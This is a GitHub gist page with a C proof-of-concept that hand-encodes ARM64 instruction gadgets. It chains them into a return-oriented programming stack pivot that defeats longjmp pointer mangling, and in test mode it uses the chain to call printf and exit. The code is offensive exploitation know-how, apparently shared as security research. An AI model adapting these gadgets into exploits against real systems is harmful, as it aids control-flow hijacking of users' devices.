Skip to content

Instantly share code, notes, and snippets.

@xerub
Created December 5, 2018 19:35
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xerub/d2078ca98973072e0fffd390e81de6e9 to your computer and use it in GitHub Desktop.
Save xerub/d2078ca98973072e0fffd390e81de6e9 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#define L(x) ((x) / 8)
#define GADGET(name, insns) \
extern int name[]; \
__asm(".globl _" #name "\n" \
".p2align 2\n" \
"_" #name ":\n" \
insns)
typedef void (*kickstart_t)(unsigned long *data, unsigned long x1) __attribute__((noreturn));
GADGET(gadget_mov_x19x20_x0x1,
".word 0xaa0103f4\n" // mov x20, x1
".word 0xaa0003f3\n" // mov x19, x0
".word 0xf9400268\n" // ldr x8, [x19]
".word 0xf9405d08\n" // ldr x8, [x8, #0xb8]
".word 0xd63f0100\n" // blr x8
);
GADGET(gadget_push_x19_x20,
".word 0xa9bb67fa\n" // stp x26, x25, [sp, #-0x50]!
".word 0xa9015ff8\n" // stp x24, x23, [sp, #0x10]
".word 0xa90257f6\n" // stp x22, x21, [sp, #0x20]
".word 0xa9034ff4\n" // stp x20, x19, [sp, #0x30]
".word 0xa9047bfd\n" // stp x29, x30, [sp, #0x40]
".word 0x910103fd\n" // add x29, sp, #0x40
".word 0xaa0203f3\n" // mov x19, x2
".word 0xaa0103f4\n" // mov x20, x1
".word 0xaa0003f6\n" // mov x22, x0
".word 0xf94002c8\n" // ldr x8, [x22]
".word 0xf9404908\n" // ldr x8, [x8, #0x90]
".word 0xd63f0100\n" // blr x8
);
GADGET(gadget_jmp_1arg,
".word 0xf9400c08\n" // ldr x8, [x0, #0x18]
".word 0xb40001a8\n" // cbz x8, ???
".word 0xf9400800\n" // ldr x0, [x0, #0x10]
".word 0xd63f0100\n" // blr x8
);
GADGET(gadget_jmp_x16,
".word 0xaa0003f0\n" // mov x16, x0
".word 0xa8c11be7\n" // ldp x7, x6, [sp], #0x10
".word 0xa8c113e5\n" // ldp x5, x4, [sp], #0x10
".word 0xa8c10be3\n" // ldp x3, x2, [sp], #0x10
".word 0xa8c103e1\n" // ldp x1, x0, [sp], #0x10
".word 0xa8c17bfd\n" // ldp x29, x30, [sp], #0x10
".word 0xd61f0200\n" // br x16
);
GADGET(my_longjmp,
".word 0xd53bd070\n" // mrs x16, tpidrro_el0
".word 0x927df210\n" // and x16, x16, #0xfffffffffffffff8
".word 0xf9401e10\n" // ldr x16, [x16, #0x38]
".word 0xa9405013\n" // ldp x19, x20, [x0]
".word 0xa9415815\n" // ldp x21, x22, [x0, #0x10]
".word 0xa9426017\n" // ldp x23, x24, [x0, #0x20]
".word 0xa9436819\n" // ldp x25, x26, [x0, #0x30]
".word 0xa944701b\n" // ldp x27, x28, [x0, #0x40]
".word 0xa9452c0a\n" // ldp x10, x11, [x0, #0x50]
".word 0xf940300c\n" // ldr x12, [x0, #0x60]
".word 0x6d472408\n" // ldp d8, d9, [x0, #0x70]
".word 0x6d482c0a\n" // ldp d10, d11, [x0, #0x80]
".word 0x6d49340c\n" // ldp d12, d13, [x0, #0x90]
".word 0x6d4a3c0e\n" // ldp d14, d15, [x0, #0xa0]
".word 0xca10015d\n" // eor x29, x10, x16
".word 0xca10017e\n" // eor x30, x11, x16
".word 0xca10018c\n" // eor x12, x12, x16
".word 0x9100019f\n" // mov sp, x12
".word 0x7100003f\n" // cmp w1, #0
".word 0x1a9f1420\n" // csinc w0, w1, wzr, ne
".word 0xd65f03c0\n" // ret
);
#ifdef TEST
GADGET(gadget_nop,
".word 0xa8c17bfd\n" // ldp x29, x30, [sp], #0x10
".word 0xd65f03c0\n" // ret
);
#include "rope.h"
#define FIRST gadget_nop
#else
#define FIRST exit
#endif
#define COOKIE (unsigned long)(my_longjmp + 3) // skip longjmp x16 reload
int
main(void)
{
unsigned long *strip = calloc(1, 65536);
unsigned long *jstrip = strip;
unsigned long *rstrip = jstrip + 4096;
jstrip[L(0x00)] = (unsigned long)jstrip;
jstrip[L(0xb8)] = (unsigned long)gadget_push_x19_x20;
jstrip[L(0x90)] = (unsigned long)gadget_jmp_1arg;
jstrip[L(0x10)] = COOKIE;
jstrip[L(0x18)] = (unsigned long)gadget_jmp_x16;
//jstrip[L(0x50)] = COOKIE; // bp
jstrip[L(0x58)] = (unsigned long)FIRST ^ COOKIE; // lr
jstrip[L(0x60)] = (unsigned long)rstrip ^ COOKIE; // sp
#ifdef TEST
fcall3v(printf, "OHAI %s\n", 0, 0, "ROP");
fcall3(exit, 42, 0, 0);
#endif
((kickstart_t)gadget_mov_x19x20_x0x1)(jstrip, 2); // x1 is not technically required
return 3;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment